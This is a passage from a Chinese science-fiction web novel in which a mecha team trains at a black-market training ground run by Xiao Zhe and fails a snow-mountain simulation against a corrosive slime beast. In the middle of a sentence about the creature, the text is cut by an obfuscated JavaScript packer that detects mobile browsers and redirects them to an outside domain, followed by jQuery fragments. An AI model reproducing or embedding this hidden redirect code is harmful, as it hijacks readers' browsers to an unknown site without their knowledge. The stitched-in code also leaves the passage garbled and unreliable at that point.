弯下腰,想了想,她终究没有说出口,毕竟牵扯到林息身份的秘密。 “谢谢,这件事也不会很复杂,”回过神来的人再次出声,“我是特级机械师。” 瞪大眼睛,池泷一脸不可置信,不是秘密吗? 瞪大眼睛,白簇和尹霄两脸不可置信,赚大了! “耶!”第三次爆发的快乐声音,几乎要掀开屋顶。 总之,会议到此为止。 林息率先离开别墅,回去工作室,离开时,头上的小熊发卡一晃一晃。 站在门口目送飞艇离开,尹霄伸出手肘捣了捣池泷的胳膊。 池泷看向他,这人却笑得一脸欣慰:“池姐,发卡很好看哦。” 说完,两人便转身回去了。 站在身后,池泷没忍住笑出声,她再次看向林息离开的方向,才突然想通。 特级机械师,门把手的小机关怎么可能看不懂呢? “久经沙场”的人,在面对这样小小的会议时,竟然也会带着紧张和期待。 所以她才说,林息越发可爱了呢。 60.第56章 两个月没有踏入校练场,甫一踏入,池泷有种陌生的熟悉感。 “肖哥,又更新设备了啊!”打量着和记忆中有所不同的场地,尹霄好奇询问。 “数据安全嘛。”这位留着长发、蓄着长须,两根筋背心加一条军绿大裤衩子的beta男性,就是这处私人校练场的老板,肖哲。 此刻他正踢拉着凉拖,大脚趾一翘一翘,胸前挂着的蓝紫□□镜也因为他不好好走路的原因轻轻晃动,黄棕牙齿狠狠嚼着硬胶糖果,偶尔鼻子还会抽搐一下:“前几天总有人想侵入我这儿的系统。” “艹,”手指用力,狠狠地擤了擤鼻子,“干这行就图个‘保护客户隐私’的口碑,也不打听打听老子是谁,要被人说入就入,老子还干他爹的生意。” 他抬抬下巴,示意池泷他们看那些新增的安全设备。 方方正正的几个小盒子,就能护住这里八个容量巨大的虚拟校练场和两个实操校练场。 老板一脸不屑,手指熟练地将胡须编成一溜一溜的小辫子:“不是吹,知不知道老子……” “背后有人~”拖着长腔,尹霄笑嘻嘻地接话。 他抻着头,细细打量着这些小小的方块,表情带着迷惑:“这样小小的几个东西这么厉害?” “专业的事还得交给专业的人来做。”池泷将手中的充值卡递了过去。 “小池说得对,那些人瞅着年纪都不大,带头的更是跟你们差不多,”接过卡,肖哲瞥了眼白簇左手,语气肯定地问道,“虚拟?” 看到池泷点头,他才示意助理机器人扣款。 “那些人,你从哪里雇的?”尹霄眼里亮晶晶,十分感兴趣。 “主家派来的,老子也不清楚。”肖哲耸耸肩,坏笑着冲尹霄说,“那些人厉害得很,不仅抓住了耗子,还差点追到耗子老家。” “可惜,耗子家门关得也严实,最后还是跑了。”挥挥沙包大的拳头,肖哲十分气愤,“要是让老子知道是谁在后头捣鬼,不一拳打爆它那脑袋,alpha老子也不惧!” 这话,池泷他们是绝对相信的。 肖哲的校练场虽然在黑街,但在央星也是极负盛名的,许多军校生都会在此训练。 当然,这些资料,无论真假,都应该是绝密的。 因此除了所有的校练场都在军部挂了号,享受军部保护以外,店家自己也会提高安保设置。 而且别看肖哲是beta,可他和别的beta又不太一样,主要是,这人,十分强壮。 过去是个谜,池泷他们只知道肖哲以前是“混”的,后头被主家收编,也没落下锻炼,不然怎么能被委任做校练场的掌柜,还给了他极大的经营权限。 在alpha不动用信息素的前提下,仅凭肉身,谁输谁赢还真的不一定。 所以说,能侵入这里的智脑,又能跑走,入侵的人,都绝不是什么等闲之辈。 涉及到肖哲的主家,也就是这家校练场的“幕后老板”,肖哲一向是点到为止,能说的也只有这些了。 “朴老大说了,给你们一折。” 看到三人的震惊脸,这位长得像野人一样的老板才鬼笑着说:“你们的比赛服上,得有我们‘爆裂校练场’的地方,我都看好了,朴哥的维修店在右胸口,我在左边就行。” 比赛服打广告这件事,在古星时候就已经有了,并且一直延续到了现在。 只不过一般人打广告都会选择排得上名号的队伍。 “这些年你们帮了黑街不少忙,前几天阿瑞亚的事情也是你们解决的,”不等池泷推辞,助理机器人便迅速刷好了卡,肖哲的胡子已经变成了精致的小辫,辫尾缀着五颜六色的橡皮筋,“两好轧一好,不用不好意思。” “这点钱找你们打广告,老子主家也是同意的,”把卡递给池泷前,肖哲用它在池泷手心轻轻敲了敲,“别人怎么说,老子都不在乎,老子就觉得你们这群娃娃能赢。” 浓密的胡子遮住了这人的真实年龄,但矍铄的目光总让池泷觉得肖哲年纪不算大,可他又总是称呼自己为“老子,”说起池泷他们的时候又一幅自己年龄大的模样。 池泷他们和肖哲的缘分,也是朴人间搭的桥。 这家会员制的校练场,除了地脚不好,没有别的缺点。 设备极其先进,会给学生会员巨大的优惠,还经常搞些各种名目的折扣活动。 虽然是会员制,但谁是会员,单凭掌柜老板的心情就能决定。 来的人基本都是些普通人或者学生,那些大家族的富人嫌弃黑街脏乱差,都不乐意踏足。 因此,怎么看也不像是收支均衡的买卖。 以至于池泷三人一度觉得,肖哲一定是还在干走私之类的活计,才能支撑得起这么大的地方。 那时候三人大一,第一次来,还是被朴人间带着。 进门后,三人看着那些市面上没见过的机器,就像第一次尝到咸味的婴儿。 不远处,朴人间和肖哲嘀嘀咕咕,肖哲一脸不情愿。 直到听到朴人间提到自己的名字,池泷习惯性地转头望去,却正好对上肖哲似笑非笑的目光。 应该不是恶意的,池泷想,胡子挡住了太多,表情不好分辨。 反正,最后他们拿到了“邀请函。” 再后来,三人知道了这里的设备都是肖哲主家自研的。 也就是说,这一屋子的设备,全是金光闪闪的专利技术。 “那又怎么样,主家又不准备上市量产,”耸耸肩,肖哲的包包头也随着直晃,“钱赚到了一定份上,再赚就没什么意思了。” 下辈子也想当个满脑子只想承担社会责任、为民众提供福利的有钱人! 池泷擦了擦嘴角的口水。 学校的校练场要排队、市中心的私人校练场价格昂贵,池泷承担不起。 尽管好友们多次或隐晦或明白表示,训练费无需她交纳或者交纳的少一些也可以。 实在不行,还可以换别的场地。 这让池泷十分感激,可心中也觉得遗憾。 正考虑多接点委托的时候,这家店面的出现,正好解决了池泷既不想让好友向下兼容、又不会让自己多花钱的问题。 只要不违法,池泷想,哪怕这家店的老板说太阳是方的,她也会站在老板这一边。 手指抚过熟悉的信息设置器和监控器,池泷心里好像被软软的猫爪踏实了一块。 池泷喜欢这里,甚至对比学校,更喜欢这里。 这里不需要什么横向、纵向的对比,只需要跟自己过去比。 汗水和时间不会被别的因素干扰,实打实地落在训练者身上。 付出和收获,在这里,得到了似乎公平的正比。 墙面挂着联网显示的实时排名板,各种名字不断跳跃着,但“瀛广鑫”却稳稳地居于榜首。 就像方圆五百里的街机上,各类游戏总是积分第一的那个人一样,难以超越。 “很烦。”白簇也看到了这个名字,脑子里扒拉了好一会儿,才和那张总是呜呜渣渣的人脸对上号,眉毛一皱,酷姐出声,“很吵。” “好歹也算你的一个小迷妹,别让粉丝伤心。”拍拍白簇肩膀,池泷开玩笑。 “没打过架。”挑眉,白簇也很清楚这个像蟋蟀一样聒噪的人很强。 如果是为了打架,她还可以多看他两眼。 “你有信心吗?”笑眯眯地看向白簇,池泷问道。 “切。”短促的气声表达了白簇的态度。 微笑着,池泷再次看向那个面板。 能覆盖一切的墨黑也荡起不明显的涟漪,就像平静的海底蕴藏着活跃的火山,热量的涌动被冰凉的水体掩盖。 水火不容。 将机甲系数、身体系数输入,虚拟校练场一瞬间变幻了场景。 高耸入云的雪峰拔地而起,人眼被瞬间激起的狂风吹得不敢睁开,飒飒的雪粒子抽在脸上,尹霄的皮肤上瞬间泛起红印。 “场景加强?”熊猫马上将尹霄包裹,扩音器的声音从风声雪声中艰难传来。 “肖哥这波大方得很。”伴随着池泷的声音,鲨星也现出身形。 机甲舱内能清楚地听见雪打在机身上、噼里啪啦的声响,虽然是虚拟的,但池泷还是心疼地摸摸鲨星,轻声说了句:“辛苦了,伙计。” 紧接着是野火。 尖锐又张扬的颜色,但哪怕赤红全身,在这样的环境里,竟然也没那样显眼。 “这风、这雪都给足了劲儿,”机甲驾驶舱内,池泷拿出充值卡看了看,“但钱一分没多收。” “难道不是好事吗?”通讯频道里,突然多了一道清冷的声音,“看来对我们信心十足。” 一台机甲从不远处中走来,看起来脚步轻盈却出乎意料的稳健,雪白周身,一片冰白外,没有任何装饰。 和肆虐的风雪完美融为了一体,仿佛雪山中一直被传说的、神秘的神灵。 “凌光,不完全体。”站在鲨星旁边,灰白配色,相得益彰。 池泷这才发现,凌光比鲨星矮了一个头。 这也是这家校练场的特殊服务之一——远程连线。 使用特定的渠道和账号,在泛泛星网中,在王室和军部眼皮底下,使用绝对加密的信息通道,肖哥的主家身份令人害怕去探寻。 “哎?会长你不打算改名字吗?”黑白配色的熊脸转过来,头还歪了歪。 “不改,”凌光抬抬右手,轻轻握拳,“我把‘凌光’的署名权买了下来。” “明天开始,市面上所有的凌光机甲都会另改名字。” “那TS公司还挺给面子的,”熊猫恍然大悟,将头随便转了回去,说道,“不过这种能和林家搭上线还没什么成本的钱,不赚是傻子。” 野火闻言,对后一句表示赞同地点点头。 唯独鲨星“刷”地一下转过头来,左手握拳缓缓抬起,突地竖起了一个大拇指。 钞级有实力啊,这把稳了,兄弟。 “机甲怎么样?”鲨星放下左手询问。 “快了,这两天在加班,估计明天就能改完,”凌光原地蹦了蹦,身形突然变得有些沉重,“调试就更简单了。” “不愧是特级机械师,我们正准备今天去突袭会长你呢,”熊猫活动四肢,开始做准备,“看看有什么能帮到的地方。” 不远处,野火已经跃跃欲试了。 “这倒没有。”凌光也逐步活动开来。 “有的话,一定要说,没什么麻烦的。”鲨星忍了又忍,忍了又忍,终于伸手按了按凌光的肩膀。 噫!果然摸起来手感好好! 虽然机甲手部并没有任何传感器。 “我们的目标,顶峰。”心情舒畅的鲨星抬头,向那片黑压压的云层望去,“雪峰这图一般没什么弯弯绕绕,一条路通到顶。” “只不过这次肖哥赞助了场景加强,”鲨星的推进器开始预热,火焰还未完全燃烧,风雪就争先恐后地覆盖了上来,“那不知道着地图还会不会有什么其他‘奇思妙想’的改变了。” “鲨星,就位。” “野火,就位。” “熊猫,就位。” “凌光,就位。” 屏幕前,密密麻麻的风雪掩盖了一切视线。 “探测仪。” 一道身影迅速飞起,胳膊处闪着红光,很快身影也被吞没。 屏幕前传来风阻、气压、地形等一系列复杂数据。 30秒后,声音传来:“根据不同机甲数据,这四条路可迅速到达海拔8110.28米处。” “鲨星,1号线。” “野火,2号线。” “熊猫,3号线。” “凌光,4号线。” 各位机甲屏幕前,浮现起一副2D地图,同时,旁边的立体地图也在不断旋转,放大。 四个不同颜色的点,蓦地出现,红色的那个已经远远超前。 “祝各位,好运。” “登顶的同时,不要忘记地形探测。” 接着,鲨星就传来一声“啧”,池泷说道:“这是场景加强?这是场景加死吧。” 呼啸的风声掩盖了一切危险行进的声音,当巨石出现在眼前时,鲨星距离它只剩不到30米! 1秒,推进器迅速加热。 “手操模式。”位于双手边的蓝色操作台突地拔起。 起身,池泷将手放上。 “机甲融合,瞬秒。” 一下子和鲨星融合的感觉—— 真的太痛苦了! 忍着肠胃扭曲带来的强烈不适,池泷只觉得胳膊酸麻得连活动都成问题,甚至指尖失去了存在感。 如果不是alpha,此刻同样疼麻的双腿怕是根本站不住。 晃晃脑袋,眼前迷蒙的彩色雪花点只能,勉强看清眼前。 风雪太大,不能打碎,池泷看着距离自己不远的绿点,一旦化成碎石,遭殃的只怕不止左边。 2秒,鲨星推进器拉满,双腿用力,猛然蹦起,沉重的机甲仿佛脱离了重力,动作过于灵活。 舱内,池泷已满头大汗,双腿轻颤。 半空横劈,垂订定位器,前滚360度,池泷选择直接避过! 但动作在半空还没来得及伸展,那块巨石却好像被什么东西硌了一下,改变了行进路线。 更有如长眼一般,直冲鲨星而来! “它给我安定位器了?”池泷不解。 眼看它直直逼近,鲨星却突然减少推进,几近停在了半空! 身体轻侧,双手伸出画圆,在巨石几乎要靠近手掌时,一小发炮弹从手中突地打出。 4秒,巨石未碎,炮弹打在它身上不痛不痒。 但福祸相依。 风雪是阻碍,此时却成了帮手。 强烈的对流被炮弹打出的气流带跑了一瞬,就是这一瞬,巨石的行进路线偏离了一点。 一点! 鲨星以不可思议的身法向右边弯曲,坚硬的金属机甲肢体瞬间分散,风雪灌满连接处,此刻它好似成为了一张鼓满的船帆! 最后一秒,巨石贴着机甲背后,将将飞了过去,粗糙表明和滑润机甲的距离,只有2厘米! 而池泷此时已经面色苍白,好在地图上,突然出现第五个点,亮黄色。 “左移69度。” 绿点和黄点完美错身而过。 咬紧牙关,池泷将鲨星合拢,机甲直直落下。 不断旋转的立体投影地图在巨石到来时,早已成形、放大。 眼看着要撞击地面时,胳膊才射出抓手,死死扣住岩壁! 因为距离较近,抓手被风吹偏的角度不算大,正好能抓住池泷想要落脚的平台。 “哈……”背部传来无法忽略的疼痛,池泷大口喘气,但她仍抬脚往头顶看去。 这里,离刚才巨石变道的地方很近。 高强的探照灯打开,鲨星头顶处,有一颗不算大的石块。 手碰了一下,石块迅速缩了回去,而后,又突地出现。 紧接着,鲨星头顶滚过一大块石头,向半空跳去。 鲨星明白,鲨星无语,鲨星只能双手抱拳,说声:谢谢肖哥送来的奇思妙想! 在通讯中汇报了这一发现,池泷继续赶路。 有了防备心,接下来的路程还算好走一点…… 吗? 脚下突然的出溜滑,鲨星硬是用核心减缓了倒仰,胳膊的推进器迅速打开,脚跟瞬间融化随即铺就的冰面,堪堪融出一个小坑。 鲨星的主机大脑迅速计算展示抛物线的变化,池泷抓住时机,将手中的牵引器抛出,正好落在脚尖之前,避免了滚下山崖的厄难。 再次汇报时,别的路线也传来消息:“这里有奇怪的冰雹,火融不化。” “激光射击。” 通讯里的声音还没完全消散,池泷的眼前便被一片乒乒乓乓的固体占据。 是冰雹没错! 没说是这么一大片、密密麻麻的冰雹啊! 如同白蚁大军一般的冰雹,个头不算很大,却气势汹汹地捶打着鲨星,竟然将她捶得寸步难行! 甚至还有隐隐后退的趋势! 机甲指尖开始蓄能,池泷精神高度紧张,破开雪片、破除风声,推测、判断着冰雹的行进轨迹。 能量是有限的,所以在冰雹距离鲨星1米时,激光才射出! 瞬间,无数束激光射线拼凑起一面好似密不透风的墙面,为鲨星遮挡了所有的阻碍! 离开冰雹群时,鲨星身上看不出任何损伤,但池泷撇了眼能耗,却比自己预估的还是多了些。 好歹这都是死物,当临近汇合处,比鲨星大了两圈的雪融兽出现在眼前时,池泷已然无感。 就好像做一张数学卷子,从第一题开始就是附加题的难度,那做到附加题时,心中当然会毫无波澜。 不就是雪融兽吗? 草绿粘液顺着不成形的身体流下,冒着白汽,在雪地四散淌开,白雪尚未融化,雪片甫一接触,就被腐蚀溶解。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468619|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 以至于如此豪横的风雪,都无法在它身边停留。 甚至无法掩盖它浑身散发的恶心尸臭。 头顶乱七八糟的触手是它的眼耳口鼻,因为此刻风里带来了新的气息,正凌乱舞着,虽然看似柔软,却因过于黏腻而不容易被砍断。 乱七八糟肉块被不断流动的粘液黏在一起,形成了身体。 不同材质的“四条腿”撑着尸块组成的肉身,七零八落地移动,粘液走一路、淌一路。 因为流动缓慢,身体移动时,身上的粘液和地面上的粘液还没完全分开。 顾名思义:生活在寒冷地区、毒液可以消融一切的生物。 本体就是一团由无数微型生物聚集形成粘液,不具备具形身体和器官。 因喜好模仿哺乳动物,尤其是有蹄类动物生活,会通过毒杀生物,抓取材料,拼凑身体、四肢。 又为了拥有五官,而进化出触角。 最重要的是,繁殖能力极强,这也就是为什么它能淌一路还不会干涸。 “这种东西好消灭,一把火,必须是超级大火,烧个3天3夜,期间只需要阻断其逃跑后路就行。”欣赏着样本盒里的雪融兽,擎晴满眼惊叹。 池泷则实在不喜欢这种过于软体的生物,觉得自己的嗓子好像都被粘液糊住了。 但知识并没有因为糊住嗓子,就不进脑子了。 “如果手边没有足够的火种,就可以采用别的方法,”右手拿起一根银针,擎晴兴致勃勃地打开盒盖,眉毛轻挑,将银针迅速扎进了雪融兽的身体里。 针下,小小的粘液迅速团聚在一起,不断沿着针尖向上爬行,仿佛在乞求饶恕。 紧接着,爬行的粘液忽然跌落,停止流动,草绿淡去,变成浅绿、蓝绿、浅蓝绿…… 几乎要变成白色时,擎晴把针一拔,满脸怜爱:“瞧瞧这小家伙,多有活力。” 接近白色的粘液忽然又像倒带一样,渐渐恢复到草绿色,粘液重新开始缓慢流动。 “心脏,小泷,”镜片后靛青色眼眸透露着满意,看样本盒的表情,像看着极品癞蛤蟆的巫婆,“出于对哺乳生物的衷心向往,自然终于允许它拥有一颗心脏。” “心脏的统一,将微型生物们紧密联合在了一起。它们各自所有的剩余器官、基因、细胞,甚至连思想,都因为这一颗统一的心脏而一致。”将样本盒小心放好,擎晴扎起烟灰色的头发,感慨,“这种团结近乎变态。” “至于心脏的位置——”漂亮的生物学家镜片闪光而过。 “就在相对于草绿色来说,颜色略浅的地方。”通讯里分享了这一信息,池泷说道,“任何外力都可以破坏,只不过它会顺着粘液不断移动,一定要看准时机。” 说罢,鲨星便迅速跑动,过来的路让她对这里的环境有了深刻的了解,加上风雪在雪融兽身边减小不少,视野也相对清晰了很多。 “看得见了!”重见光明永远令人欣喜。 但被风里带来新味道刺激的雪融兽无法感同身受,那头“生物”早已将丑陋的脸转向池泷所在,是许多已经快被消融的生物骨肉堆砌而成,两边的空洞,估计就是“眼睛。” 头顶真正的“眼睛”舞动得更加频繁了,粘液像有了生命,突然合体变为一条尖刺,带着令人头晕的毒气和臭味,向话音刚落的池泷刺来! 粘液的行动速度不算极快,可它重重砸下来时,溅射出来的粘液却到处都是。 关闭换气机,舱内温度迅速上升,无奈,池泷只得将鲨星主脑也关闭,减缓升温速度。 要在热度过载之前消灭它。 温度计缓慢匀速地变换着数字,脚步未停的池泷心中估摸,最多2分钟。 开启防护屏倒是可以有效抗击腐蚀性粘液。 但要慎重计算,他们还有半截峰要攀登,绝不可以在这里再次损失过多能量。 “百步之内必有解药,”通讯里传来尹霄的声音,“我这里的这只,移动范围很奇怪,你们可以仔细观察一下四周。” 闻言,鲨星跳上周围的山石,在石间不断跳跃跑动,一边躲避着粘液的针对袭击和大量溅射,一边不停观察。 当然,山石上也有随即铺就的冰面。 一心二用,眼观六路,池泷某一刻,想动用信息素的念头倒是先攀至高峰。 可她终究忍下了。 目光、余光,看得到的东西,飞速进入大脑,脑细胞高速运转。 落脚处的判断、逃跑路线的判断、解药的判断、时间的计算。 温度计仍旧爬升着,就像催命的时间在一分一秒流逝。 跑动、跳跃,主脑关闭,池泷只能全身心地进入手操模式,机甲融合的负面影响还未完全消除,现在又得精神与身体高度紧绷。 这一刻,池泷仿佛就变成了鲨星。 操作台上的手掌,将大脑、器官和四肢全部链接,有那么一瞬间,池泷都有种错觉,她好像可以感觉到身体每处能量的分布于流动。 尤其在眼睛那里,能量汇聚的格外多。 终于,池泷在某一处山石底下,在溶解的后的雪地之间,发现了奇怪的、隐秘的植物行踪。 一片小小的深绿叶子,半边泡在粘液里,因为叶尖的沉重,它被压弯了半个身体,露出一段植茎来。 说明被粘液包裹的那部分叶子,竟然没有被消融。 更可笑的是,那股粘液在探测到这株植物的存在后,竟然没有继续漫延,反而避开了它的位置! 心中一喜,池泷有种“劫后余生”感觉。 可下一秒,她便头皮发麻,发根紧疼。 还没等她反应过来,腹部突然一股巨大的疼痛传来,让她瞬间忘记呼吸! 令人心慌的失重感,眼前被黑暗包裹,池泷觉得自己好像被泡在温水里。 当呼吸再次回归时,池泷“哈”地一声坐起,大口大口喘着粗气。 “欢迎返回校练场,此次小队训练结果:失败。训练用时:5分24秒。” 温柔的机械女声响起,校练场的服务机器人及时地送来毛巾和温水。 而她旁边,两人也都醒了过来,相对于自己来说,呼吸已经趋于平稳。 “池姐,你坚持的时间比阿簇还多30秒呢。”不喜欢白水的尹霄,此时手中的杯子已空,毛巾搭在头上,脸色带着几分苍白,看起来没少遭罪。 而白簇,身前摆着好几个空杯,毛巾也被扔在了一遍,双手抱胸,盘腿坐着,眼神呆滞。 真正的好学生,已经在疯狂复盘了。 像池泷这样的普通人,只想吃个饭。 “好饿。”池泷喃喃自语。 “我也是。”尹霄将杯子放下,拒绝了机器人的再次递水。 接着,两人陷入了沉默。 说不挫败是假的,要知道,在此之前,三人在这个校练场里,百战百胜。 尽管也有突发事件,但大都能被及时地应对过去。 这是,第一次失败。 甚至有这么一刻,池泷都觉得自己无法回神,思绪飘荡,不愿意面对“失败”这个事实。 “我知道一家餐厅,做热食的,”清冷的声音平稳传来,带着一股子令人安心的感觉,“地址发在刚建好的群组里,位置已经订好。” 然而众人听见这话,却都不约而同地沉默了几秒。 深深呼出一口气,还是池泷率先起身,将尹霄拉起,又拍拍白簇的后背。 “先吃饭。” 金红眼眸里是强烈不甘,俊眉皱起,胳膊和池泷拖拽的力气做着对抗。 “别闹,身体重要。”摸摸炸毛的红发,池泷又在白簇头顶抓挠了几下。 终于,酷姐悻悻起身,跟在后边,三人离开了校练场。 尽管面上不显,可背影,看起来总有那么几分,垂头丧气。 “嚯,五分钟。”屏幕后面的肖哲胡子已经拆开,微微曲曲的形状让胡子显得十分蓬松,“这支队伍不得第一,老子吃……” “s……”的音只发了一半,又被他自己咽了回去:“危险区域探索经验五年往上还能活着的突击军,也就这实力了。” 不知道他在自言自语,还是在跟人说话。 总之说完后,肖哲伸出手指,在键盘上轻轻一摁,刚才的记录和视频就完全消失了。 “不愧是,你看好的人哦。” “什么叫老子观察得还不够全面?” “什么?太可笑了,这根本不可能,老子再看一遍。” “艹,老子把视频删了!”